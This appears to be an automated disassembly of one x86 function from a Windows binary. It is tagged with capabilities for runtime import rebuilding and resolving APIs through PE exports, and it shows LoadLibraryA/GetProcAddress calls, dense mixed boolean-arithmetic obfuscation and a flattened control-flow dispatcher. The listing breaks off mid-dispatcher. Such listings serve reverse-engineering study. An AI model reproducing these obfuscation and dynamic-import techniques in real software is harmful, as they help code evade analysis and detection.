Function at 0x10068c40
Capabilities:
Link many functions at runtime
Rebuild import table
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, 0x10b8
call fcn.100a48a0
mov esi, edx
mov ebp, ecx
mov eax, dword [0x100ad040]
xor eax, esp
mov dword [esp + 0x10b4], eax
lea eax, [esp + 0xb4]
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x3c]
lea eax, [esp + 0xb0]
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0x5c]
lea eax, [esp + 0xae]
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x60]
mov byte [edx + ecx], 0
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x100ad8da
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x100ad924
push eax
call ebx
mov dword [esp + 0x4c], eax
push 0x100ad907
call edi
push 0x100ad8fe
push eax
call ebx
mov dword [esp + 0x64], eax
mov eax, dword [esp + 0x64]
push str.RURU_
mov dword [esp + 0x4c], esi
push esi
call eax
test eax, eax
sete byte [esp + 0x2b]
mov dword [esp + 0x2c], ebp
mov edx, ebp
not edx
mov dword [esp + 0x40], edx
mov ecx, ebp
add ecx, ebp
mov dword [esp + 4], ecx
xor ebp, 1
sub ebp, ecx
lea ecx, [edx + edx]
or ecx, 0xfffffffc
sub ebp, ecx
lea ecx, [ebp - 6]
mov edx, ecx
not edx
mov esi, ecx
and esi, 0xfffffffd
lea eax, [esi + ebp]
add eax, 0xfffffffa
and edx, 2
add edx, eax
xor ecx, 0xfffffffd
lea eax, [edx + ecx]
lea edi, [ecx + edx]
add edi, 0x24617e99
mov ebx, edi
not ebx
mov ecx, edi
and ecx, 0xdb9e816a
add eax, ecx
add eax, 0x24617e99
and ebx, 0x24617e95
add ebx, eax
xor edi, 0xdb9e816a
lea esi, [ebx + edi]
lea edx, [edi + ebx]
add edx, 0xdb9e816b
mov dword [esp + 0x1c], edx
not edx
lea ecx, [esi + edx*2 - 0x24617e95]
mov ebp, ecx
not ebp
lea eax, [ebp + esi*4 + 0x6e7a05ac]
mov dword [esp + 0x24], eax
lea eax, [esi + esi]
add eax, 0xb73d02d6
mov ebp, eax
xor ebp, ecx
add ebp, dword [esp + 0x24]
add ebp, ecx
or eax, ecx
add eax, eax
sub ebp, eax
lea eax, [edi + ebx]
add eax, 0xdb9e816a
mov ecx, ebp
and ecx, eax
not eax
add ecx, ebp
mov edi, ebp
not edi
and edi, eax
add edi, ecx
xor eax, ebp
add eax, esi
add eax, 0xdb9e816b
sub edi, eax
mov eax, edi
mov ecx, dword [esp + 0x1c]
and eax, ecx
lea eax, [edi + eax*2]
add eax, edx
not edi
lea eax, [eax + edi*2]
or edi, ecx
add edi, edi
sub eax, edi
imul edx, eax, 0x144a79a3
imul eax, eax, 0x2894f346
mov ecx, edx
xor ecx, 0x92dae88c
add ecx, eax
mov eax, edx
xor eax, 0x6d251773
add eax, ecx
not edx
add edx, eax
mov esi, dword [esp + 4]
mov eax, dword [esp + 0x2c]
sub esi, eax
mov edi, esi
mov ebx, esi
mov ebp, esi
mov ecx, dword [esp + 0x40]
xor ebp, ecx
or edi, eax
add ebp, edi
mov eax, edi
not ebx
mov edi, ebx
and ebx, ecx
add ebx, ecx
add ebx, eax
add ebx, esi
mov dword [esp + 0x24], ebx
lea eax, [ecx + esi*2]
imul ebx, edx, 0x7558820b
sub eax, ebp
or edi, dword [esp + 0x2c]
add edi, eax
mov eax, edi
or eax, 0xfffffffe
add eax, edi
mov esi, edi
xor esi, 1
add esi, eax
not edi
or edi, 1
lea eax, [esi + edi]
mov dword [esp + 0x38], eax
add esi, edi
add esi, 3
lea edx, [ebx - 0x154efbea]
mov edi, edx
xor edi, esi
mov eax, edx
or eax, esi
lea ecx, [edi + ebx*2]
add ecx, 0xd562082c
sub ecx, eax
not eax
add eax, ecx
mov ecx, esi
not ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x1c], edx
or edx, ecx
mov dword [esp + 0x14], edx
sub eax, edx
sub eax, edx
mov edx, dword [esp + 0x1c]
and edx, ecx
mov dword [esp + 0x1c], edx
mov ecx, 0x154efbe9
sub ecx, ebx
mov dword [esp + 8], ecx
mov ebp, esi
or ebp, ecx
lea ebp, [ebp + edx*2]
not ebp
mov edx, eax
neg edx
mov ecx, ebp
add ecx, ebp
and edx, ecx
lea edx, [edx + ebp*2]
add edx, eax
add edx, 0xffffffff
add eax, 0xffffffff
not ecx
or ecx, eax
lea eax, [edx + ecx]
add ecx, edx
add ecx, 1
mov edx, dword [esp + 0x38]
mov ebp, dword [esp + 0x1c]
lea edx, [edx + ebp*2]
add edx, 3
not edi
add edi, edx
sub edi, dword [esp + 0x14]
mov edx, 0xfffffffe
sub edx, eax
and edx, edi
add eax, edi
add eax, 1
not edi
or edi, ecx
add edi, edx
not edi
add edi, eax
mov ecx, dword [esp + 0xc]
add ecx, edi
sub esi, edi
add ebx, 0xeab10417
and esi, ebx
lea eax, [ecx + ecx*2]
lea eax, [eax + esi*4]
add eax, dword [esp + 8]
xor ebx, ecx
add ebx, ebx
sub eax, ebx
mov ecx, 0x63a4f0e3
sub ecx, eax
mov edx, ecx
and edx, 0x9c5b0f1b
add edx, eax
or ecx, 0x63a4f0e4
sub edx, ecx
lea eax, [edx + 0x63a4f0e4]
lea ecx, [edx + edx]
add ecx, 0xc749e1c9
mov esi, eax
not esi
lea edi, [esi + esi]
xor ecx, edi
lea ebx, [edi + edx*2]
add ebx, 0xc749e1c9
add ecx, ebx
add edx, edx
add edx, 0xc749e1c8
xor edx, 0xfffffffe
or edx, edi
not edi
add edi, ecx
lea ecx, [edi + edx]
lea ebx, [edx + edi]
add ebx, 1
add edx, edi
add edx, 2
xor ebx, 0xfffffffe
and ebx, esi
add ecx, ebx
add ecx, 2
add ecx, esi
or edx, eax
lea eax, [ecx + edx]
add ecx, edx
add ecx, 1
mov edx, ecx
not edx
and edx, 0xfffffffe
add edx, eax
mov eax, ecx
xor eax, 1
add eax, edx
or ecx, 0xfffffffe
add eax, ecx
add eax, 5
imul ecx, eax, 0x4205919f
imul eax, eax, 0x840b233e
mov edx, eax
not edx
and edx, 0xfc2c4bc
add edx, eax
mov eax, ecx
xor eax, 0xf81e9da1
add eax, edx
not ecx
mov edx, ecx
and edx, 0xf81e9da1
add edx, eax
or ecx, 0x7e1625e
sub edx, ecx
imul eax, edx, 0xb2c94a5f
lea ecx, [eax + 0x5da9f741]
mov edx, ecx
not edx
mov esi, ecx
and esi, 0xaae0ace1
add eax, esi
add eax, 0x5da9f741
and edx, 0x551f531e
add edx, eax
xor ecx, 0xaae0ace1
lea eax, [edx + ecx]
add ecx, edx
add ecx, 0x551f531f
mov dword [esp + 0x98], ecx
mov ecx, 0xaae0ace0
sub ecx, eax
mov dword [esp + 0x94], ecx
mov ecx, dword [esp + 4]
not ecx
mov ebx, dword [esp + 0x2c]
lea eax, [ecx + ebx]
add eax, eax
not eax
lea eax, [eax + ecx*2]
lea ecx, [eax + eax]
add ecx, 1
sub ecx, eax
imul edx, ecx, 0x1ca62e9b
mov eax, edx
not eax
imul ecx, ecx, 0x394c5d36
and eax, 0x1d94c0db
add eax, ecx
or edx, 0x1d94c0db
sub eax, edx
mov dword [esp + 0x1c], eax
mov ebp, dword [esp + 0x40]
imul ecx, ebp, 0xce00ee05
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x4f890eb7
add esi, ecx
and edx, 0xb076f148
add edx, esi
xor ecx, 0x4f890eb7
add ecx, edx
imul ecx, ecx, 0xc8b2aecd
mov esi, 0xbff2a8a
sub esi, ecx
mov edx, esi
and edx, 0xd4b1d958
lea edi, [ecx + edx]
add edi, 0xf400d575
lea eax, [ecx - 0xbff2a8b]
xor eax, 0x2b4e26a7
add eax, edi
or esi, 0xd4b1d958
sub eax, esi
mov dword [esp + 4], eax
mov edx, ebx
mov eax, dword [esp + 0x24]
sub eax, ebx
lea ecx, [eax - 0x10965458]
mov esi, ecx
and esi, 0xef69aba6
add esi, eax
add esi, 0xef69aba8
mov edi, 0x10965457
sub edi, eax
and edi, 0x10965459
add edi, esi
xor ecx, 0xef69aba6
lea eax, [ecx + edi]
add eax, 0x1096545a
mov dword [esp + 0x90], eax
lea ecx, [ebx + ebp*2]
add ecx, 1
imul esi, ecx, 0x3377f555
imul ecx, ecx, 0x66efeaaa
not esi
mov edi, esi
or edi, 0xd0311083
add edi, ecx
or esi, 0x2fceef7c
add esi, edi
imul ecx, esi, 0x24c85ffd
mov esi, 0x6e79518e
sub esi, ecx
and esi, 0xb80a1189
lea edi, [ecx - 0x6e79518f]
or edi, 0x47f5ee76
add edi, esi
add edi, ecx
lea ebx, [ecx + ecx]
add ebx, 0x230d5ce2
sub ebx, edi
lea esi, [ebx + 0x26836317]
mov ecx, esi
and ecx, 0x5059aede
mov edi, esi
and edi, 0x2fa65121
mov eax, ecx
sub eax, edi
sub eax, edi
mov ebp, esi
xor ebp, 0x5059aede
add ebp, eax
lea eax, [ebx + ebp]
add eax, 0xd629b439
mov ebx, esi
or ebx, 0x5059aede
lea edi, [ebx + edi*2]
mov ebx, esi
xor ebx, 0xafa65121
add ebx, edi
sub ebx, esi
lea edi, [ebx + 1]
mov ebp, eax
or ebp, edi
add ebx, ebp
add ebx, 1
not edi
or edi, eax
add edi, ebx
mov eax, ecx
xor eax, 0x5059aede
lea ebx, [edi + eax]
add eax, edi
add eax, 1
mov edi, eax
or edi, 0xafa65122
add edi, ebx
add edi, 1
not eax
or eax, 0xafa65122
add eax, edi
not esi
or esi, 0x5059aede
add eax, esi
add eax, 1
lea esi, [ecx + 1]
and esi, eax
mov edi, ecx
xor edi, 0xfffffffe
and edi, eax
add edi, esi
lea eax, [ecx + edi]
add eax, 1
imul eax, eax, 0x2d1d22e9
mov ecx, eax
or ecx, 0x453a63c7
mov esi, eax
sub esi, ecx
and eax, 0xbac59c38
add eax, esi
imul esi, eax, 0x1a5bd559
add esi, 0xe5a42aa7
mov eax, esi
and eax, 0x6e6a1888
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0x9195e777
lea edi, [edi + edi*2]
sub eax, edi
mov edi, esi
xor edi, 0x9195e777
lea ebx, [eax + edi]
add eax, edi
add eax, 0x9195e777
add ecx, ebx
add ecx, 0x9195e777
mov edi, edx
and edi, 0xafa65121
imul edi, edi, 0xae1195b7
mov ebx, edi
not ebx
and ebx, 0xcf7c0ae8
mov ebp, edi
or ebp, 0x3083f517
add ebp, ebx
add edi, ebp
add edi, 0xcf7c0ae9
imul ebx, edi, 0xd19da7f9
imul edi, edi, 0x5cc4b00e
add edi, ebx
add edi, 0xd30bf3a8
sub esi, eax
mov ebx, esi
and ebx, edi
mov ebp, edi
not ebp
add ebp, ecx
add ebp, ebx
sub ebx, edi
mov eax, esi
or eax, edi
add eax, ebx
not esi
or esi, edi
add esi, eax
mov eax, esi
not eax
lea eax, [esi + eax*2]
mov esi, ecx
xor esi, edi
lea ebx, [ecx + edi]
mov dword [esp + 0x24], ecx
add ebx, esi
or ecx, edi
sub ebx, ecx
sub eax, edi
mov ecx, ebx
not ecx
lea edx, [eax + 1]
and ecx, edx
add eax, ecx
add eax, 1
mov ecx, edx
not ecx
and ecx, ebx
add ecx, eax
add ecx, ebx
xor ebx, edx
sub ecx, ebx
sub esi, ebp
lea eax, [ecx + esi*2]
mov edx, dword [esp + 0x24]
and edx, edi
lea ecx, [edx + eax]
add eax, edx
add eax, 1
mov edx, eax
not edx
mov esi, edx
and esi, 0xfffffffd
add ecx, esi
add ecx, 1
and edx, 2
add edx, ecx
add edx, eax
imul eax, edx, 0xcb347655
lea ecx, [eax + 0x69971356]
mov edx, ecx
not edx
and edx, 0x6fd4aa82
add eax, edx
add eax, 0x69971356
or ecx, 0x902b557d
add eax, ecx
add eax, 0x6fd4aa83
imul ecx, eax, 0x6d4cd6fd
mov edx, ecx
and edx, 0x3bb2d186
add edx, edx
mov esi, ecx
sub esi, edx
mov edx, ecx
or edx, 0xbbb2d186
add edx, esi
imul esi, eax, 0xda99adfa
xor esi, 0x889a5cf2
add esi, edx
not ecx
or ecx, 0xbbb2d186
sub esi, ecx
add esi, 0x7765a30d
xor esi, 0xafa65121
imul ecx, esi, 0xf7ebcd63
mov eax, ecx
not eax
mov edx, eax
and edx, 0x812ad0bd
add edx, ecx
xor ecx, 0x7ed52f42
add ecx, edx
or eax, 0x812ad0bd
sub ecx, eax
add ecx, 0x812ad0bd
imul eax, ecx, 0xe2fc1c4b
imul edx, ecx, 0xc5f83896
mov ecx, edx
and ecx, 0xb4d7a6bc
add ecx, eax
not eax
lea eax, [ecx + eax*2]
and edx, 0x4b285942
lea ecx, [eax + edx]
lea ebx, [edx + eax]
add ebx, 0x25942ca3
lea edi, [edx + eax + 0x25942ca4]
mov esi, ebx
not esi
mov eax, edi
and eax, ebx
lea eax, [ecx + eax*2]
add eax, 0x25942ca4
lea eax, [eax + esi*2]
mov ebp, 0xda6bd35b
sub ebp, ecx
and ebp, ebx
add ebp, eax
mov eax, edi
xor eax, esi
or edi, ebx
add edi, eax
add edi, ebx
sub ebp, edi
lea eax, [ecx*4 - 0x69af4d74]
lea eax, [eax + esi*2]
add ecx, ecx
add ecx, 0x4b285946
sub eax, ecx
add eax, ebp
imul eax, eax, 0xba8a0ff9
lea ecx, [eax - 0x4575f007]
not ecx
mov edx, ecx
and edx, 0xb70e98cb
add eax, edx
add eax, 0xba8a0ff9
or ecx, 0x48f16734
sub eax, ecx
imul ecx, dword [esp + 0x1c], 0xda370793
mov dword [esp + 0x24], ecx
not ecx
mov dword [esp + 0x58], ecx
mov esi, dword [esp + 4]
lea ecx, [esi - 0x2b4e26a8]
mov dword [esp + 0x8c], ecx
not ecx
lea edx, [esi + ecx*2 - 0x2b4e26a8]
mov dword [esp + 0x88], edx
mov dword [esp + 0x54], ecx
lea ecx, [esi + ecx*2]
add ecx, 0xd4b1d959
mov dword [esp + 0x84], ecx
imul eax, eax, 0x71ed8249
add eax, 0xe262d5d4
mov dword [esp + 0x80], eax
mov eax, dword [esp + 0x2c]
add eax, 1
mov dword [esp + 0x7c], eax
mov ecx, 0xdcaf9fb3
mov eax, 0x9d44933
jmp 0x1006e640
mov ecx, dword [esp + 0x10]
cmp ecx, 0x8fe24728
mov ecx, 0x85451fbc
mov edx, 0x2e01c3fe
cmove ecx, edx
mov edx, 0x652f4817
nop word cs:[eax + eax]
nop
cmp edx, 0x259fc35
jle 0x10069530
cmp edx, 0x48229f3c
jle 0x100695a0
cmp edx, 0x67ce2458
jg 0x10069661
cmp edx, 0x53d18647
jle 0x100697bb
cmp edx, 0x5ef62e79
jg 0x10069a03
cmp edx, 0x5b882fd4
jg 0x10069def
cmp edx, 0x5662d16d
je 0x1006a48a
cmp edx, 0x587dcf2f
jne 0x1006e628
mov ecx, dword [esp + 0x10]
cmp ecx, 0x1637e25d
mov ecx, 0x85451fbc
mov edx, 0x194e02e6
jmp 0x1006949d
cmp edx, 0xc641a4a3
jg 0x10069600
cmp edx, 0xa195bcb0
jg 0x100696b8
cmp edx, 0x95996807
jg 0x10069806
cmp edx, 0x8790d6d3
jg 0x10069a40
cmp edx, 0x86b1b637
jg 0x10069e22
cmp edx, 0x81b3eed0
je 0x1006a4a3
cmp edx, 0x82cb326a
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0xa2a2b2b3
mov edx, 0x99eed7be
mov esi, 0x5b882fd5
cmove edx, esi
jmp 0x100694b0
cmp edx, 0x1ff1226a
jg 0x1006970f
cmp edx, 0x144e8def
jg 0x10069851
cmp edx, 0x66dd689
jg 0x10069a7f
cmp edx, 0x3920227
jg 0x10069e55
cmp edx, 0x259fc36
je 0x1006a4be
cmp edx, 0x26238b8
jne 0x100694b0
mov dword [esp + 0x10], eax
mov edx, 0x652f4817
mov ecx, 0x6c715517
jmp 0x100694b0
cmp edx, 0xe8968501
jg 0x10069764
cmp edx, 0xd0015d8e
jg 0x1006988e
cmp edx, 0xc8ea35b7
jg 0x10069abe
cmp edx, 0xc6f314ef
jg 0x10069e84
cmp edx, 0xc641a4a4
je 0x1006a4d9
cmp edx, 0xc6dc91aa
jne 0x100694b0
mov ecx, dword [esp + 0x10]
cmp ecx, 0x43bcf119
mov ecx, 0xf132c992
mov edx, 0x631647b9
jmp 0x1006e5ca
cmp edx, 0x70e03eac
jg 0x100698d7
cmp edx, 0x6ae41feb
jg 0x10069afb
cmp edx, 0x6902a2b6
jg 0x10069eb7
cmp edx, 0x67ce2459
je 0x1006a4f4
cmp edx, 0x68b5e4de
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0x194e02e6
mov edx, 0x34b6ba94
mov esi, 0xf9435c7c
cmovl edx, esi
jmp 0x100694b0
cmp edx, 0xb28ad55c
jg 0x10069922
cmp edx, 0xaa407785
jg 0x10069b3a
cmp edx, 0xa7d9d6a5
jg 0x10069eea
cmp edx, 0xa195bcb1
je 0x1006a50f
cmp edx, 0xa5f6f4eb
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0xc253f7c4
mov edx, 0x48eb34fc
mov esi, 0xaa407786
cmovl edx, esi
jmp 0x100694b0
cmp edx, 0x33154585
jg 0x1006996d
cmp edx, 0x26f8ab9e
jg 0x10069b79
cmp edx, 0x24463443
jg 0x10069f1b
cmp edx, 0x1ff1226b
je 0x1006a52a
cmp edx, 0x23d81bf1
jne 0x100694b0
mov ecx, dword [esp + 0x10]
cmp ecx, 0x2e4d6d83
mov ecx, 0x85451fbc
mov edx, 0xdcb095
jmp 0x1006949d
cmp edx, 0xf782fe6a
jg 0x100699b8
cmp edx, 0xf1299184
jg 0x10069bb8
cmp edx, 0xed1cc53b
jg 0x10069f4e
cmp edx, 0xe8968502
je 0x1006a545
cmp edx, 0xecff2aaf
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0x6a801bce
mov edx, 0x86b1b638
mov esi, 0x96d6e5bf
cmovl edx, esi
jmp 0x100694b0
cmp edx, 0x4cd9d78f
jg 0x10069bf7
cmp edx, 0x48eb34fb
jg 0x10069f97
cmp edx, 0x48229f3d
je 0x1006b9de
cmp edx, 0x48688b07
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0x74f93a9d
mov edx, 0x24463444
mov esi, 0x6e0e1904
cmovl edx, esi
jmp 0x100694b0
cmp edx, 0x99e34b6d
jg 0x10069c36
cmp edx, 0x96651c8f
jg 0x10069fca
cmp edx, 0x95996808
je 0x1006b9f7
cmp edx, 0x95b0f8e8
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0x9327b184
mov edx, 0x99eed7be
mov esi, 0xcb668e45
cmove edx, esi
jmp 0x100694b0
cmp edx, 0x1563d2b4
jg 0x10069c64
cmp edx, 0x153fb6cf
jg 0x10069ffd
cmp edx, 0x144e8df0
je 0x1006ba12
cmp edx, 0x149576df
jne 0x100694b0
mov dword [esp], ecx
mov edx, 0xf782fe6b
jmp 0x100694b0
cmp edx, 0xe20fc166
jg 0x10069ca3
cmp edx, 0xdbd4054d
jg 0x1006a038
cmp edx, 0xd0015d8f
je 0x1006ba2b
cmp edx, 0xd875c0ab
jne 0x100694b0
mov ecx, dword [esp + 0x10]
cmp ecx, 0x1637e25d
mov ecx, 0xc253f7c4
mov edx, 0xff9b14d7
jmp 0x1006e5ca
cmp edx, 0x79f14dda
jg 0x10069ce2
cmp edx, 0x746d5411
jg 0x1006a06b
cmp edx, 0x70e03ead
je 0x1006ba46
cmp edx, 0x72c5aa58
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0x322847e
mov edx, 0x68b5e4de
mov esi, 0x39147b30
cmovl edx, esi
jmp 0x100694b0
cmp edx, 0xb7060b60
jg 0x10069d3d
cmp edx, 0xb4e718ea
jg 0x1006a09e
cmp edx, 0xb28ad55d
je 0x1006e225
cmp edx, 0xb3d519ee
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0x85451fbc
mov edx, 0xe26be8f7
mov esi, 0x96651c90
cmovl edx, esi
jmp 0x100694b0
cmp edx, 0x39147b2f
jg 0x10069d7c
cmp edx, 0x34b6ba93
jg 0x1006a0d1
cmp edx, 0x33154586
je 0x1006ba61
cmp edx, 0x349e7f2f
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0x74baa28c
mov edx, 0x48688b07
mov esi, 0x6902a2b7
cmovl edx, esi
jmp 0x100694b0
cmp edx, 0xfb64204a
jg 0x10069db2
cmp edx, 0xf9fde2d1
jg 0x1006a0f3
cmp edx, 0xf782fe6b
je 0x1006ba7c
cmp edx, 0xf9435c7c
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0x322847e
mov edx, 0x99eed7be
mov esi, 0xfb746044
cmove edx, esi
jmp 0x100694b0
cmp edx, 0x650307b7
jg 0x1006a126
cmp edx, 0x5ef62e7a
je 0x1006ba97
cmp edx, 0x5ff6a9a1
jne 0x100694b0
mov ecx, dword [esp + 0x10]
cmp ecx, 0x751a1b51
mov ecx, 0x85451fbc
mov edx, 0x299f9b8a
jmp 0x1006949d
cmp edx, 0x8bfb176a
jg 0x1006a143
cmp edx, 0x8790d6d4
je 0x1006bab0
cmp edx, 0x8afefc7c
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0xf132c992
mov edx, 0x99eed7be
mov esi, 0xf267bfc4
cmove edx, esi
jmp 0x100694b0
cmp edx, 0xd862aaf
jg 0x1006a176
cmp edx, 0x66dd68a
je 0x1006bacb
cmp edx, 0xa531674
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0xda61191e
mov edx, 0x99eed7be
mov esi, 0xd862ab0
cmove edx, esi
jmp 0x100694b0
cmp edx, 0xcb668e44
jg 0x1006a1a9
cmp edx, 0xc8ea35b8
je 0x1006bae6
cmp edx, 0xcac5c6e7
jne 0x100694b0
mov ecx, dword [esp + 0x10]
cmp ecx, 0x273cf69c
mov ecx, 0xda61191e
mov edx, 0x231bc52c
jmp 0x1006e5ca
cmp edx, 0x6fcdfd91
jg 0x1006a1f4
cmp edx, 0x6ae41fec
je 0x1006baff
cmp edx, 0x6e0e1904
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0x74baa28c
mov edx, 0x99eed7be
mov esi, 0x99e34b6e
cmove edx, esi
jmp 0x100694b0
cmp edx, 0xb03cccf8
jg 0x1006a227
cmp edx, 0xaa407786
je 0x1006bb1a
cmp edx, 0xaf5785a3
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0x6b96aec6
mov edx, 0x99eed7be
mov esi, 0x23d81bf1
cmove edx, esi
jmp 0x100694b0
cmp edx, 0x2f35c00b
jg 0x1006a271
cmp edx, 0x26f8ab9f
je 0x1006bb35
cmp edx, 0x2ec7f700
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0xadb26d9a
mov edx, 0x99eed7be
mov esi, 0xc6dc91aa
cmove edx, esi
jmp 0x100694b0
cmp edx, 0xf267bfc3
jg 0x1006a2a4
cmp edx, 0xf1299185
je 0x1006bb50
cmp edx, 0xf1e7745b
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0x21233653
mov edx, 0x99eed7be
mov esi, 0x3ccba554
cmove edx, esi
jmp 0x100694b0
cmp edx, 0x4ddd475d
jg 0x1006a2d7
cmp edx, 0x4cd9d790
je 0x1006c12f
cmp edx, 0x4d7c2da6
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0xec380b6e
mov edx, 0x99eed7be
mov esi, 0x5662d16d
cmove edx, esi
jmp 0x100694b0
cmp edx, 0xa0423930
jg 0x1006a308
cmp edx, 0x99e34b6e
je 0x1006c148
cmp edx, 0x99eed7be
jne 0x100694b0
mov edx, 0x35fe845c
jmp 0x100694b0
cmp edx, 0x1cd06fbc
jg 0x1006a339
cmp edx, 0x1563d2b5
je 0x1006e234
cmp edx, 0x19cacb5f
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0xc253f7c4
mov edx, 0x99eed7be
mov esi, 0xcac5c6e7
cmove edx, esi
jmp 0x100694b0
cmp edx, 0xe5736941
jg 0x1006a36c
cmp edx, 0xe20fc167
je 0x1006e24f
cmp edx, 0xe26be8f7
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0x85451fbc
mov edx, 0x99eed7be
mov esi, 0x6fcdfd92
cmove edx, esi
jmp 0x100694b0
cmp edx, 0x7d69afbf
jg 0x1006a39f
cmp edx, 0x79f14ddb
je 0x10069489
cmp edx, 0x7a7bb885
jne 0x100694b0
push dword [esp + 0x3c]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [esp + 0x4c]
push 0
push eax
push dword [esp + 0x44]
push dword [esp + 0x5c]
call ecx
mov ecx, 0xa2a2b2b3
mov eax, 0x2e4d6d83
mov edx, dword [esp + 0x50]
mov dword [esp + 0x38], edx
mov edx, 0x652f4817
jmp 0x100694b0
cmp edx, 0xb833a7e4
jg 0x1006a3f5
cmp edx, 0xb7060b61
je 0x1006e26a
cmp edx, 0xb749386c
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0xfad2bd69
mov edx, 0x99eed7be
mov esi, 0xa0d0b025
cmove edx, esi
jmp 0x100694b0
cmp edx, 0x3f7794e4
jg 0x1006a428
cmp edx, 0x39147b30
je 0x1006e285
cmp edx, 0x3ccba554
jne 0x100694b0
mov eax, dword [esp + 0x4c]
push 0
push 0x3f
push 0x100ada81
jmp 0x1006a24c
cmp edx, 0xfebe68ed
jg 0x1006a459
cmp edx, 0xfb64204b
je 0x1006e2a0
cmp edx, 0xfb746044
jne 0x100694b0
mov ecx, dword [esp + 0x10]
cmp ecx, 0x7c45732d
mov ecx, 0xfad2bd69
mov edx, 0xdad00552
jmp 0x1006e5ca
cmp edx, 0x5b882fd5
je 0x1006e2bb
cmp edx, 0x5bfca90c
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0x4ca53e9f
mov edx, 0xc86553da
mov esi, 0xe20fc167
cmovl edx, esi
jmp 0x100694b0
cmp edx, 0x86b1b638
je 0x1006e2ca
cmp edx, 0x86ee8dc4
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0x9f998e6d
mov edx, 0x99eed7be
mov esi, 0x51feef21
cmove edx, esi
jmp 0x100694b0
cmp edx, 0x3920228
je 0x1006e2e5
cmp edx, 0x45bc4b7
jne 0x100694b0
cmp byte [esp + 0x2b], 0
mov eax, 0x273cf69c
mov ecx, 0x1637e25d
cmovne eax, ecx
jmp 0x1006e225
cmp edx, 0xc6f314f0
je 0x1006e300
cmp edx, 0xc86553da
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0x631647b9
mov edx, 0xecff2aaf
mov esi, 0x1177cab0
cmovl edx, esi
jmp 0x100694b0
cmp edx, 0x6902a2b7
je 0x1006e31b
cmp edx, 0x6a100725
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0x900d1820
mov edx, 0x1563d2b5
mov esi, 0xb7060b61
cmovl edx, esi
jmp 0x100694b0
cmp edx, 0xa7d9d6a6
je 0x1006e336
cmp edx, 0xa9bcc1b3
jne 0x100694b0
mov ecx, dword [esp + 0x10]
cmp ecx, 0x55dcbf74
mov ecx, 0x85451fbc
mov edx, 0x9fe90b2a
jmp 0x1006949d
cmp edx, 0x24463444
je 0x1006e351
cmp edx, 0x26147a59
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0x6c715517
mov edx, 0xb4e718eb
mov esi, 0xaf5785a3
cmovl edx, esi
jmp 0x100694b0
cmp edx, 0xed1cc53c
je 0x1006e36c
cmp edx, 0xefd9e6cf
jne 0x100694b0
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x48]
lea eax, [esp + 0xae]
push eax
lea eax, [esp + 0xb4]
push eax
call fcn.100653a0
add esp, 8
test eax, eax
mov eax, 0x8fe24728
mov ecx, 0x751a1b51
jmp 0x1006e222
cmp edx, 0x48eb34fc
je 0x1006e387
cmp edx, 0x4b844bf9
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0xdb27ca0b
mov edx, 0x8790d6d4
mov esi, 0x8bfb176b
cmovl edx, esi
jmp 0x100694b0
cmp edx, 0x96651c90
je 0x1006e3a2
cmp edx, 0x96d6e5bf
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0x631647b9
mov edx, 0x99eed7be
mov esi, 0xf9fde2d2
cmove edx, esi
jmp 0x100694b0
cmp edx, 0x153fb6d0
je 0x1006e3bd
cmp edx, 0x1544c6d0
jne 0x100694b0
mov eax, dword [esp + 0x78]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 0x1c], eax
mov ecx, 0xa2a2b2b3
mov eax, 0x2d6ed7d5
mov edx, 0x652f4817
jmp 0x100694b0
cmp edx, 0xdbd4054e
je 0x1006e3d8
cmp edx, 0xde6a5b5b
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0x72ba288c
mov edx, 0x99eed7be
mov esi, 0x48229f3d
cmove edx, esi
jmp 0x100694b0
cmp edx, 0x746d5412
je 0x1006e3f3
cmp edx, 0x74a8ba29
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0x9327b184
mov edx, 0x95b0f8e8
mov esi, 0x153fb6d0
cmovl edx, esi
jmp 0x100694b0
cmp edx, 0xb4e718eb
je 0x1006e43d
cmp edx, 0xb5c8b410
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0xebe13254
mov edx, 0x99eed7be
mov esi, 0xefd9e6cf
cmove edx, esi
jmp 0x100694b0
cmp edx, 0x34b6ba94
je 0x1006e458
cmp edx, 0x35fe845c
jne 0x100694b0
mov edx, 0x652f4817
jmp 0x100694b0
cmp edx, 0xf9fde2d2
je 0x1006e473
cmp edx, 0xfab5d1b1
jne 0x100694b0
mov edx, dword [esp]
